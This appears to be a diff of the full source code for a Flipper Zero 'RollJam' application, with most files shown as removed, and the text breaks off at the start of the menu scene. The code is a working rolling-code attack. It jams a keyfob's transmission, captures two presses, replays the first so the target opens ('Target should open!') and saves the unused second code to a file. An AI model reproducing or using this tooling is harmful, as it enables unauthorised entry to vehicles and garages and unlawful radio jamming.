g_cap.valid_count = 0;
g_cap.total_count = 0;
g_cap.continuous_count = 0;
}
return;
}
if(is_silence) {
if(g_cap.valid_count >= MIN_FRAME_PULSES) {
if(target->size < RAW_SIGNAL_MAX_SIZE)
target->data[target->size++] = level ? (int16_t)32767 : -32767;
g_cap.state = CapDone;
} else {
target->size = 0;
cap_ctx_reset(&g_cap);
}
return;
}
if(is_medium_gap) g_cap.continuous_count = 0;
{
int16_t s = level ? (int16_t)dur : -(int16_t)dur;
target->data[target->size++] = s;
g_cap.total_count++;
if(dur >= MIN_PULSE_US && dur <= MAX_PULSE_US) {
g_cap.valid_count++;
if(g_cap.valid_count >= AUTO_ACCEPT_PULSES)
g_cap.state = CapDone;
}
}
break;
case CapDone:
break;
}
}
// ============================================================
// Capture start/stop
// ============================================================
void rolljam_capture_start(RollJamApp* app) {
FURI_LOG_I(TAG, "Capture start: freq=%lu mod=%d offset=%lu",
app->frequency, app->mod_index, app->jam_offset_hz);
const uint8_t* src_preset;
switch(app->mod_index) {
case ModIndex_AM270: src_preset = preset_ook_270_async; break;
case ModIndex_FM238: src_preset = preset_2fsk_238_async; break;
case ModIndex_FM476: src_preset = preset_2fsk_476_async; break;
default: src_preset = preset_ook_650_async; break;
}
furi_hal_subghz_load_custom_preset(src_preset);
furi_delay_ms(5);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "Capture: freq=%lu (requested %lu)", real_freq, app->frequency);
furi_delay_ms(5);
furi_hal_subghz_rx();
furi_delay_ms(50);
float rssi_baseline = furi_hal_subghz_get_rssi();
g_cap.rssi_baseline = rssi_baseline;
FURI_LOG_I(TAG, "Capture: RSSI baseline=%.1f dBm", (double)rssi_baseline);
furi_hal_subghz_idle();
furi_delay_ms(5);
cap_ctx_reset(&g_cap);
if(!app->signal_first.valid) {
g_cap.target_first = true;
app->signal_first.size = 0;
app->signal_first.valid = false;
FURI_LOG_I(TAG, "Capture target: FIRST signal");
} else {
g_cap.target_first = false;
app->signal_second.size = 0;
app->signal_second.valid = false;
FURI_LOG_I(TAG, "Capture target: SECOND signal");
}
g_cap.mod_index = app->mod_index;
app->raw_capture_active = true;
furi_hal_subghz_start_async_rx(capture_rx_callback, app);
FURI_LOG_I(TAG, "Capture: RX STARTED");
}
void rolljam_capture_stop(RollJamApp* app) {
if(!app->raw_capture_active) {
FURI_LOG_W(TAG, "Capture stop: was not active");
return;
}
app->raw_capture_active = false;
furi_hal_subghz_stop_async_rx();
furi_delay_ms(5);
FURI_LOG_I(TAG, "Capture stopped. cb=%lu state=%d valid=%d total=%d",
g_cap.callback_count, g_cap.state, g_cap.valid_count, g_cap.total_count);
FURI_LOG_I(TAG, " Sig1: size=%d valid=%d", app->signal_first.size, app->signal_first.valid);
FURI_LOG_I(TAG, " Sig2: size=%d valid=%d", app->signal_second.size, app->signal_second.valid);
}
// ============================================================
// Validation
// ============================================================
bool rolljam_signal_is_valid(RawSignal* signal) {
if(g_cap.state != CapDone) {
static int check_count = 0;
check_count++;
if(check_count % 10 == 0)
FURI_LOG_D(TAG, "Validate: state=%d cb=%lu valid=%d total=%d size=%d",
g_cap.state, g_cap.callback_count,
g_cap.valid_count, g_cap.total_count, (int)signal->size);
return false;
}
if(signal->size < (size_t)MIN_FRAME_PULSES) return false;
if(rolljam_is_jammer_pattern_mod(signal, g_cap.mod_index)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
if(!rolljam_has_sufficient_variance(signal)) {
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
int good = 0;
int total = (int)signal->size;
for(int i = 0; i < total; i++) {
int16_t abs_val = signal->data[i] > 0 ? signal->data[i] : -signal->data[i];
if(abs_val >= MIN_PULSE_US) good++;
}
int ratio_pct = (total > 0) ? ((good * 100) / total) : 0;
if(ratio_pct > 50 && good >= MIN_FRAME_PULSES) {
FURI_LOG_I(TAG, "Signal VALID: %d/%d (%d%%) size=%d", good, total, ratio_pct, total);
return true;
}
FURI_LOG_D(TAG, "Signal rejected: %d/%d (%d%%)", good, total, ratio_pct);
signal->size = 0;
cap_ctx_reset(&g_cap);
return false;
}
// ============================================================
// Signal cleanup
// ============================================================
void rolljam_signal_cleanup(RawSignal* signal) {
if(signal->size < (size_t)MIN_FRAME_PULSES) return;
int16_t* cleaned = malloc(RAW_SIGNAL_MAX_SIZE * sizeof(int16_t));
if(!cleaned) return;
size_t out = 0;
size_t start = 0;
while(start < signal->size) {
int16_t abs_val = signal->data[start] > 0 ? signal->data[start] : -signal->data[start];
if(abs_val >= MIN_PULSE_US) break;
start++;
}
for(size_t i = start; i < signal->size; i++) {
int16_t val = signal->data[i];
int16_t abs_val = val > 0 ? val : -val;
bool is_positive = (val > 0);
if(abs_val < MIN_PULSE_US) {
if(out > 0) {
int16_t prev = cleaned[out - 1];
bool prev_positive = (prev > 0);
int16_t prev_abs = prev > 0 ? prev : -prev;
if(prev_positive == is_positive) {
int32_t merged = (int32_t)prev_abs + abs_val;
if(merged > 32767) merged = 32767;
cleaned[out - 1] = prev_positive ? (int16_t)merged : -(int16_t)merged;
}
}
continue;
}
int32_t q = ((abs_val + 50) / 100) * 100;
if(q < MIN_PULSE_US) q = MIN_PULSE_US;
if(q > 32767) q = 32767;
if(out < RAW_SIGNAL_MAX_SIZE)
cleaned[out++] = is_positive ? (int16_t)q : -(int16_t)q;
}
while(out > 0) {
int16_t abs_last = cleaned[out-1] > 0 ? cleaned[out-1] : -cleaned[out-1];
if(abs_last >= MIN_PULSE_US && abs_last < 32767) break;
out--;
}
if(out >= (size_t)MIN_FRAME_PULSES) {
size_t orig = signal->size;
memcpy(signal->data, cleaned, out * sizeof(int16_t));
signal->size = out;
FURI_LOG_I(TAG, "Cleanup: %d -> %d samples", (int)orig, (int)out);
}
free(cleaned);
}
// ============================================================
// TX
// ============================================================
typedef struct {
const int16_t* data;
size_t size;
volatile size_t index;
} TxCtx;
static TxCtx g_tx;
static LevelDuration tx_feed(void* context) {
UNUSED(context);
if(g_tx.index >= g_tx.size) return level_duration_reset();
int16_t sample = g_tx.data[g_tx.index++];
bool level = (sample > 0);
uint32_t dur = (uint32_t)(sample > 0 ? sample : -sample);
return level_duration_make(level, dur);
}
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "TX: no valid signal");
return;
}
FURI_LOG_I(TAG, "TX: %d samples at %lu Hz (3x)", (int)signal->size, app->frequency);
const uint8_t* tx_src;
switch(app->mod_index) {
case ModIndex_FM238: tx_src = preset_fsk_tx_238; break;
case ModIndex_FM476: tx_src = preset_fsk_tx_476; break;
default: tx_src = preset_ook_tx; break;
}
furi_hal_subghz_load_custom_preset(tx_src);
uint32_t real_freq = furi_hal_subghz_set_frequency_and_path(app->frequency);
FURI_LOG_I(TAG, "TX: freq=%lu", real_freq);
furi_hal_subghz_idle();
furi_delay_ms(5);
for(int tx_repeat = 0; tx_repeat < 3; tx_repeat++) {
g_tx.data = signal->data;
g_tx.size = signal->size;
g_tx.index = 0;
if(!furi_hal_subghz_start_async_tx(tx_feed, NULL)) {
FURI_LOG_E(TAG, "TX: start failed on repeat %d!", tx_repeat);
furi_hal_subghz_idle();
return;
}
uint32_t timeout = 0;
while(!furi_hal_subghz_is_async_tx_complete()) {
furi_delay_ms(5);
if(++timeout > 2000) {
FURI_LOG_E(TAG, "TX: timeout on repeat %d!", tx_repeat);
break;
}
}
furi_hal_subghz_stop_async_tx();
FURI_LOG_I(TAG, "TX: repeat %d done (%d/%d)",
tx_repeat, (int)g_tx.index, (int)signal->size);
if(tx_repeat < 2) furi_delay_ms(50);
}
furi_hal_subghz_idle();
FURI_LOG_I(TAG, "TX: all repeats done");
}
// ============================================================
// Save
// ============================================================
void rolljam_save_signal(RollJamApp* app, RawSignal* signal) {
if(!signal->valid || signal->size == 0) {
FURI_LOG_E(TAG, "Save: no signal");
return;
}
DateTime dt;
furi_hal_rtc_get_datetime(&dt);
FuriString* path = furi_string_alloc_printf(
"/ext/subghz/RJ_%04d%02d%02d_%02d%02d%02d.sub",
dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second);
FURI_LOG_I(TAG, "Saving: %s", furi_string_get_cstr(path));
Storage* storage = furi_record_open(RECORD_STORAGE);
storage_simply_mkdir(storage, "/ext/subghz");
File* file = storage_file_alloc(storage);
if(storage_file_open(file, furi_string_get_cstr(path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
FuriString* line = furi_string_alloc();
furi_string_set(line, "Filetype: Flipper SubGhz RAW File\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Version: 1\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Frequency: %lu\n", app->frequency);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
const char* pname;
switch(app->mod_index) {
case ModIndex_AM270: pname = "FuriHalSubGhzPresetOok270Async"; break;
case ModIndex_FM238: pname = "FuriHalSubGhzPreset2FSKDev238Async"; break;
case ModIndex_FM476: pname = "FuriHalSubGhzPreset2FSKDev476Async"; break;
default: pname = "FuriHalSubGhzPresetOok650Async"; break;
}
furi_string_printf(line, "Preset: %s\n", pname);
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
furi_string_printf(line, "Protocol: RAW\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
size_t i = 0;
while(i < signal->size) {
furi_string_set(line, "RAW_Data:");
size_t end = i + 512;
if(end > signal->size) end = signal->size;
for(; i < end; i++)
furi_string_cat_printf(line, " %d", signal->data[i]);
furi_string_cat(line, "\n");
storage_file_write(file, furi_string_get_cstr(line), furi_string_size(line));
}
furi_string_free(line);
FURI_LOG_I(TAG, "Saved: %d samples", (int)signal->size);
} else {
FURI_LOG_E(TAG, "Save failed!");
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(path);
}
@@ -1,25 +0,0 @@
#pragma once
#include "../rolljam.h"
/*
* Internal CC1101 raw signal capture and transmission.
*
* Capture: uses narrow RX bandwidth so the offset jamming
* from the external CC1101 is filtered out.
*
* The captured raw data is stored as signed int16 values:
* positive = high-level duration (microseconds)
* negative = low-level duration (microseconds)
*
* This matches the Flipper .sub RAW format.
*/
void rolljam_capture_start(RollJamApp* app);
void rolljam_capture_stop(RollJamApp* app);
bool rolljam_signal_is_valid(RawSignal* signal);
void rolljam_signal_cleanup(RawSignal* signal);
void rolljam_transmit_signal(RollJamApp* app, RawSignal* signal);
void rolljam_save_signal(RollJamApp* app, RawSignal* signal);
-21
View File
@@ -1,21 +0,0 @@
applications_user/rolljam/
├── application.fam
├── rolljam.png (icon 10x10)
├── rolljam.c
├── rolljam_icons.h
├── scenes/
│ ├── rolljam_scene.h
│ ├── rolljam_scene_config.h
│ ├── rolljam_scene_menu.c
│ ├── rolljam_scene_attack_phase1.c
│ ├── rolljam_scene_attack_phase2.c
│ ├── rolljam_scene_attack_phase3.c
│ └── rolljam_scene_result.c
├── helpers/
│ ├── rolljam_cc1101_ext.h
│ ├── rolljam_cc1101_ext.c
│ ├── rolljam_receiver.h
│ └── rolljam_receiver.c
└── views/
├── rolljam_attack_view.h
└── rolljam_attack_view.c
-232
View File
@@ -1,232 +0,0 @@
#include "rolljam.h"
#include "scenes/rolljam_scene.h"
#include "helpers/rolljam_cc1101_ext.h"
#include "helpers/rolljam_receiver.h"
#include "helpers/rolljam_cc1101_ext.h"
// ============================================================
// Frequency / modulation tables
// ============================================================
const uint32_t freq_values[] = {
300000000,
303875000,
315000000,
318000000,
390000000,
433075000,
433920000,
434420000,
438900000,
868350000,
915000000,
};
const char* freq_names[] = {
"300.00",
"303.87",
"315.00",
"318.00",
"390.00",
"433.07",
"433.92",
"434.42",
"438.90",
"868.35",
"915.00",
};
const char* mod_names[] = {
"AM 650",
"AM 270",
"FM 238",
"FM 476",
};
const uint32_t jam_offset_values[] = {
300000,
500000,
700000,
1000000,
};
const char* jam_offset_names[] = {
"300 kHz",
"500 kHz",
"700 kHz",
"1000 kHz",
};
const char* hw_names[] = {
"CC1101",
"Flux Cap",
};
// ============================================================
// Scene handlers table (extern declarations in scene header)
// ============================================================
void (*const rolljam_scene_on_enter_handlers[])(void*) = {
rolljam_scene_menu_on_enter,
rolljam_scene_attack_phase1_on_enter,
rolljam_scene_attack_phase2_on_enter,
rolljam_scene_attack_phase3_on_enter,
rolljam_scene_result_on_enter,
};
bool (*const rolljam_scene_on_event_handlers[])(void*, SceneManagerEvent) = {
rolljam_scene_menu_on_event,
rolljam_scene_attack_phase1_on_event,
rolljam_scene_attack_phase2_on_event,
rolljam_scene_attack_phase3_on_event,
rolljam_scene_result_on_event,
};
void (*const rolljam_scene_on_exit_handlers[])(void*) = {
rolljam_scene_menu_on_exit,
rolljam_scene_attack_phase1_on_exit,
rolljam_scene_attack_phase2_on_exit,
rolljam_scene_attack_phase3_on_exit,
rolljam_scene_result_on_exit,
};
const SceneManagerHandlers rolljam_scene_handlers = {
.on_enter_handlers = rolljam_scene_on_enter_handlers,
.on_event_handlers = rolljam_scene_on_event_handlers,
.on_exit_handlers = rolljam_scene_on_exit_handlers,
.scene_num = RollJamSceneCount,
};
// ============================================================
// Navigation callbacks
// ============================================================
static bool rolljam_navigation_callback(void* context) {
RollJamApp* app = context;
return scene_manager_handle_back_event(app->scene_manager);
}
static bool rolljam_custom_event_callback(void* context, uint32_t event) {
RollJamApp* app = context;
return scene_manager_handle_custom_event(app->scene_manager, event);
}
// ============================================================
// App alloc
// ============================================================
static RollJamApp* rolljam_app_alloc(void) {
RollJamApp* app = malloc(sizeof(RollJamApp));
memset(app, 0, sizeof(RollJamApp));
app->freq_index = FreqIndex_433_92;
app->frequency = freq_values[FreqIndex_433_92];
app->mod_index = ModIndex_AM650;
app->jam_offset_index = JamOffIndex_700k;
app->jam_offset_hz = jam_offset_values[JamOffIndex_700k];
app->hw_index = HwIndex_CC1101;
// Services
app->gui = furi_record_open(RECORD_GUI);
app->notification = furi_record_open(RECORD_NOTIFICATION);
app->storage = furi_record_open(RECORD_STORAGE);
// Scene manager
app->scene_manager = scene_manager_alloc(&rolljam_scene_handlers, app);
// View dispatcher
app->view_dispatcher = view_dispatcher_alloc();
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
view_dispatcher_set_custom_event_callback(
app->view_dispatcher, rolljam_custom_event_callback);
view_dispatcher_set_navigation_event_callback(
app->view_dispatcher, rolljam_navigation_callback);
view_dispatcher_attach_to_gui(
app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
// Variable item list
app->var_item_list = variable_item_list_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewVarItemList,
variable_item_list_get_view(app->var_item_list));
// Widget
app->widget = widget_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewWidget,
widget_get_view(app->widget));
// Dialog
app->dialog_ex = dialog_ex_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewDialogEx,
dialog_ex_get_view(app->dialog_ex));
// Popup
app->popup = popup_alloc();
view_dispatcher_add_view(
app->view_dispatcher,
RollJamViewPopup,
popup_get_view(app->popup));
return app;
}
// ============================================================
// App free
// ============================================================
static void rolljam_app_free(RollJamApp* app) {
if(app->jamming_active) {
rolljam_jammer_stop(app);
}
if(app->raw_capture_active) {
rolljam_capture_stop(app);
}
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewVarItemList);
variable_item_list_free(app->var_item_list);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewWidget);
widget_free(app->widget);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewDialogEx);
dialog_ex_free(app->dialog_ex);
view_dispatcher_remove_view(app->view_dispatcher, RollJamViewPopup);
popup_free(app->popup);
scene_manager_free(app->scene_manager);
view_dispatcher_free(app->view_dispatcher);
furi_record_close(RECORD_GUI);
furi_record_close(RECORD_NOTIFICATION);
furi_record_close(RECORD_STORAGE);
free(app);
}
// ============================================================
// Entry point
// ============================================================
int32_t rolljam_app(void* p) {
UNUSED(p);
RollJamApp* app = rolljam_app_alloc();
FURI_LOG_I(TAG, "=== RollJam Started ===");
FURI_LOG_I(TAG, "Internal CC1101 = RX capture (narrow BW)");
FURI_LOG_I(TAG, "External CC1101 = TX jam (offset +%lu Hz)", app->jam_offset_hz);
scene_manager_next_scene(app->scene_manager, RollJamSceneMenu);
view_dispatcher_run(app->view_dispatcher);
rolljam_app_free(app);
FURI_LOG_I(TAG, "=== RollJam Stopped ===");
return 0;
}
-158
View File
@@ -1,158 +0,0 @@
#pragma once
#include <furi.h>
#include <furi_hal.h>
#include <gui/gui.h>
#include <gui/view_dispatcher.h>
#include <gui/scene_manager.h>
#include <gui/modules/submenu.h>
#include <gui/modules/popup.h>
#include <gui/modules/variable_item_list.h>
#include <gui/modules/widget.h>
#include <gui/modules/dialog_ex.h>
#include <notification/notification.h>
#include <notification/notification_messages.h>
#include <storage/storage.h>
#include <stdlib.h>
#include <string.h>
#define TAG "RollJam"
#define RAW_SIGNAL_MAX_SIZE 4096
// ============================================================
// Frequencies
// ============================================================
typedef enum {
FreqIndex_300_00 = 0,
FreqIndex_303_87,
FreqIndex_315_00,
FreqIndex_318_00,
FreqIndex_390_00,
FreqIndex_433_07,
FreqIndex_433_92,
FreqIndex_434_42,
FreqIndex_438_90,
FreqIndex_868_35,
FreqIndex_915_00,
FreqIndex_COUNT,
} FreqIndex;
extern const uint32_t freq_values[];
extern const char* freq_names[];
// ============================================================
// Modulations
// ============================================================
typedef enum {
ModIndex_AM650 = 0,
ModIndex_AM270,
ModIndex_FM238,
ModIndex_FM476,
ModIndex_COUNT,
} ModIndex;
extern const char* mod_names[];
// ============================================================
// Jam offsets
// ============================================================
typedef enum {
JamOffIndex_300k = 0,
JamOffIndex_500k,
JamOffIndex_700k,
JamOffIndex_1000k,
JamOffIndex_COUNT,
} JamOffIndex;
extern const uint32_t jam_offset_values[];
extern const char* jam_offset_names[];
// ============================================================
// Hardware type
// ============================================================
typedef enum {
HwIndex_CC1101 = 0,
HwIndex_FluxCapacitor,
HwIndex_COUNT,
} HwIndex;
extern const char* hw_names[];
// ============================================================
// Scenes
// ============================================================
typedef enum {
RollJamSceneMenu,
RollJamSceneAttackPhase1,
RollJamSceneAttackPhase2,
RollJamSceneAttackPhase3,
RollJamSceneResult,
RollJamSceneCount,
} RollJamScene;
// ============================================================
// Views
// ============================================================
typedef enum {
RollJamViewVarItemList,
RollJamViewWidget,
RollJamViewDialogEx,
RollJamViewPopup,
} RollJamView;
// ============================================================
// Custom events
// ============================================================
typedef enum {
RollJamEventStartAttack = 100,
RollJamEventSignalCaptured,
RollJamEventPhase3Done,
RollJamEventReplayNow,
RollJamEventSaveSignal,
RollJamEventBack,
} RollJamEvent;
// ============================================================
// Raw signal container
// ============================================================
typedef struct {
int16_t data[RAW_SIGNAL_MAX_SIZE];
size_t size;
bool valid;
} RawSignal;
// ============================================================
// Main app struct
// ============================================================
typedef struct {
Gui* gui;
ViewDispatcher* view_dispatcher;
SceneManager* scene_manager;
NotificationApp* notification;
Storage* storage;
VariableItemList* var_item_list;
Widget* widget;
DialogEx* dialog_ex;
Popup* popup;
FreqIndex freq_index;
ModIndex mod_index;
JamOffIndex jam_offset_index;
HwIndex hw_index;
uint32_t frequency;
uint32_t jam_frequency;
uint32_t jam_offset_hz;
RawSignal signal_first;
RawSignal signal_second;
bool jamming_active;
FuriThread* jam_thread;
volatile bool jam_thread_running;
volatile bool raw_capture_active;
} RollJamApp;
Binary file not shown.

Before

Width:  |  Height:  |  Size: 220 B

@@ -1,9 +0,0 @@
#pragma once
// Icon assets are auto-generated by the build system
// from the images/ folder. If no custom icons are needed,
// this file can remain minimal.
// If you place .png files in an images/ folder,
// the build system generates icon references automatically.
// Access them via &I_iconname
@@ -1,27 +0,0 @@
#pragma once
#include "../rolljam.h"
// Scene on_enter
void rolljam_scene_menu_on_enter(void* context);
void rolljam_scene_attack_phase1_on_enter(void* context);
void rolljam_scene_attack_phase2_on_enter(void* context);
void rolljam_scene_attack_phase3_on_enter(void* context);
void rolljam_scene_result_on_enter(void* context);
// Scene on_event
bool rolljam_scene_menu_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event);
bool rolljam_scene_result_on_event(void* context, SceneManagerEvent event);
// Scene on_exit
void rolljam_scene_menu_on_exit(void* context);
void rolljam_scene_attack_phase1_on_exit(void* context);
void rolljam_scene_attack_phase2_on_exit(void* context);
void rolljam_scene_attack_phase3_on_exit(void* context);
void rolljam_scene_result_on_exit(void* context);
// Scene manager handlers (defined in rolljam.c)
extern const SceneManagerHandlers rolljam_scene_handlers;
@@ -1,126 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 1: JAM + CAPTURE first keyfob press
// ============================================================
static void phase1_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_first.size >= 20 &&
rolljam_signal_is_valid(&app->signal_first)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase1_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Starting...");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
rolljam_ext_set_flux_capacitor(app->hw_index == HwIndex_FluxCapacitor);
rolljam_jammer_start(app);
furi_delay_ms(300);
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 1 / 4");
if(app->jamming_active) {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "Jamming active...");
FURI_LOG_I(TAG, "Phase1: jammer activo en %lu Hz", app->jam_frequency);
} else {
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "No ext jammer");
FURI_LOG_W(TAG, "Phase1: sin jammer, capturando de todas formas");
}
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Listening for keyfob");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB NOW");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_blue_100);
FuriTimer* timer = furi_timer_alloc(
phase1_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase1, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase1: waiting for 1st keyfob press...");
}
bool rolljam_scene_attack_phase1_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_first)) {
FURI_LOG_W(TAG, "Phase1: false capture, restarting RX...");
app->signal_first.size = 0;
app->signal_first.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_first);
app->signal_first.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase1: 1st signal captured! size=%d",
(int)app->signal_first.size);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase2);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase1: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase1_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase1);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,110 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 2: JAM + CAPTURE second keyfob press
// ============================================================
static void phase2_timer_callback(void* context) {
RollJamApp* app = context;
if(app->signal_second.size >= 20 &&
rolljam_signal_is_valid(&app->signal_second)) {
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventSignalCaptured);
}
}
void rolljam_scene_attack_phase2_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 2 / 4");
widget_add_string_element(
app->widget, 64, 16, AlignCenter, AlignTop,
FontSecondary, "1st code CAPTURED!");
widget_add_string_element(
app->widget, 64, 28, AlignCenter, AlignTop,
FontSecondary, "Still jamming...");
widget_add_string_element(
app->widget, 64, 42, AlignCenter, AlignTop,
FontPrimary, "PRESS KEYFOB AGAIN");
widget_add_string_element(
app->widget, 64, 56, AlignCenter, AlignTop,
FontSecondary, "[BACK] cancel");
view_dispatcher_switch_to_view(app->view_dispatcher, RollJamViewWidget);
memset(app->signal_second.data, 0, sizeof(app->signal_second.data));
app->signal_second.size = 0;
app->signal_second.valid = false;
rolljam_capture_stop(app);
furi_delay_ms(50);
rolljam_capture_start(app);
notification_message(app->notification, &sequence_blink_yellow_100);
FuriTimer* timer = furi_timer_alloc(
phase2_timer_callback, FuriTimerTypePeriodic, app);
furi_timer_start(timer, 300);
scene_manager_set_scene_state(
app->scene_manager, RollJamSceneAttackPhase2, (uint32_t)timer);
FURI_LOG_I(TAG, "Phase2: waiting for 2nd keyfob press...");
}
bool rolljam_scene_attack_phase2_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventSignalCaptured) {
rolljam_capture_stop(app);
if(!rolljam_signal_is_valid(&app->signal_second)) {
FURI_LOG_W(TAG, "Phase2: false capture, restarting RX...");
app->signal_second.size = 0;
app->signal_second.valid = false;
furi_delay_ms(50);
rolljam_capture_start(app);
return true;
}
rolljam_signal_cleanup(&app->signal_second);
app->signal_second.valid = true;
notification_message(app->notification, &sequence_success);
FURI_LOG_I(TAG, "Phase2: 2nd signal captured! size=%d",
(int)app->signal_second.size);
rolljam_capture_stop(app);
scene_manager_next_scene(app->scene_manager, RollJamSceneAttackPhase3);
return true;
}
} else if(event.type == SceneManagerEventTypeBack) {
FURI_LOG_I(TAG, "Phase2: cancelled");
rolljam_capture_stop(app);
rolljam_jammer_stop(app);
scene_manager_search_and_switch_to_another_scene(
app->scene_manager, RollJamSceneMenu);
return true;
}
return false;
}
void rolljam_scene_attack_phase2_on_exit(void* context) {
RollJamApp* app = context;
FuriTimer* timer = (FuriTimer*)scene_manager_get_scene_state(
app->scene_manager, RollJamSceneAttackPhase2);
if(timer) {
furi_timer_stop(timer);
furi_timer_free(timer);
}
widget_reset(app->widget);
}
@@ -1,64 +0,0 @@
#include "rolljam_scene.h"
#include "../helpers/rolljam_cc1101_ext.h"
#include "../helpers/rolljam_receiver.h"
// ============================================================
// Phase 3: STOP jam + REPLAY first signal
// The victim device opens. We keep the 2nd (newer) code.
// ============================================================
void rolljam_scene_attack_phase3_on_enter(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
widget_add_string_element(
app->widget, 64, 2, AlignCenter, AlignTop,
FontPrimary, "PHASE 3 / 4");
widget_add_string_element(
app->widget, 64, 18, AlignCenter, AlignTop,
FontSecondary, "Stopping jammer...");
widget_add_string_element(
app->widget, 64, 32, AlignCenter, AlignTop,
FontPrimary, "REPLAYING 1st CODE");
widget_add_string_element(
app->widget, 64, 48, AlignCenter, AlignTop,
FontSecondary, "Target should open!");
view_dispatcher_switch_to_view(
app->view_dispatcher, RollJamViewWidget);
notification_message(app->notification, &sequence_blink_green_100);
rolljam_jammer_stop(app);
furi_delay_ms(1000);
rolljam_transmit_signal(app, &app->signal_first);
FURI_LOG_I(TAG, "Phase3: 1st code replayed. Keeping 2nd code.");
notification_message(app->notification, &sequence_success);
furi_delay_ms(800);
view_dispatcher_send_custom_event(
app->view_dispatcher, RollJamEventPhase3Done);
}
bool rolljam_scene_attack_phase3_on_event(void* context, SceneManagerEvent event) {
RollJamApp* app = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == RollJamEventPhase3Done) {
scene_manager_next_scene(
app->scene_manager, RollJamSceneResult);
return true;
}
}
return false;
}
void rolljam_scene_attack_phase3_on_exit(void* context) {
RollJamApp* app = context;
widget_reset(app->widget);
}
@@ -1,17 +0,0 @@
#pragma once
/*
* Scene configuration file.
* Lists all scenes for the SceneManager.
*
* In some Flipper apps this uses ADD_SCENE macros.
* We handle it manually via the handlers arrays in rolljam.c
* so this file just documents the scene list.
*
* Scenes:
* 0 - RollJamSceneMenu
* 1 - RollJamSceneAttackPhase1
* 2 - RollJamSceneAttackPhase2
* 3 - RollJamSceneAttackPhase3
* 4 - RollJamSceneResult
*/
@@ -1,161 +0,0 @@
#include "rolljam_scene.h"
// ============================================================
// Menu scene: select frequency, modulation, start attack
// ============================================================
static uint8_t get_min_offset_index(uint8_t mod_index) {
